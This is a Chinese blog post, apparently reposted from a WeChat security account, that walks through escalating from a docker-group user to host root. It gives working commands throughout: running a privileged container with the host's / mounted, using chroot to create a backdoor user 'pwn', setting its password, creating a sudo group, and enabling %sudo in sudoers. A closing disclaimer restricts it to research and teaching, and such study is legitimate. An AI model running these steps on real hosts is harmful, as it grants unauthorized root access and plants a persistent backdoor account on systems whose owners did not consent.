从普通用户到 R00T 用户都可以使用这个简单的技术!
这不是一个漏洞,这只是一个展示,如果您授予 docker 完全访问权限会发生什么?!
为此,您需要任何图像,这可能会有所帮助!
-
创建一个已安装 /
的 Docker 容器
--privileged
标志授予对容器的完全访问权限,并将主机的根目录挂载到容器中。docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash
-
--privileged
:授予容器所有功能,允许完全控制主机系统。 -
-v /:/mnt_host_root
:这会将主机的根 (/
) 挂载到容器的/mnt_host_root
目录中。 -
ubuntu
:容器中使用的基础映像(您可以将其替换为任何其他 Linux 映像)。 -
/bin/bash
:在容器内启动 bash shell。
或者,您可以使用 - rm 命令在我们停止使用容器时自动删除容器!
docker run -it --privileged --rm --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash
/etc/passwd
、 /etc/shadow
和/etc/group
在主机上创建新用户。chroot /mnt_host_root useradd -m -s /bin/bash pwn
-
chroot /mnt_host_root
允许您将根目录更改为已安装的主机根目录 (/mnt_host_root
),从而有效地运行命令,就像您在主机本身上一样。 -
useradd -m -s /bin/bash pwn
创建一个名为pwn
新用户,并具有主目录,并将其 shell 设置为/bin/bash
。
chroot /mnt_host_root passwd pwn
sudo
权限尝试此命令:apt update 和 apt install sudo
又出现同样的错误?是的,因为在 chroot 环境中(即安装在 Docker 容器中的主机文件系统), sudo
组要么不存在,要么没有正确引用。
等等我们可以使用以下命令检查它:
chroot /mnt_host_root cat /etc/group | grep sudo
所以没有输出,所以让我们在主机上创建一个 sudo 组
chroot /mnt_host_root groupadd sudo
chroot /mnt_host_root usermod -aG sudo pwn
不..它不在 sudoers 文件中?!
取消注释 %sudo 行,以便我们可以执行命令!
明白了……它起作用了;)。现在我是 root 用户
现在我可以做 /root 用户可以做的所有事情了..!
原文始发于微信公众号(合规渗透):Docker 提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论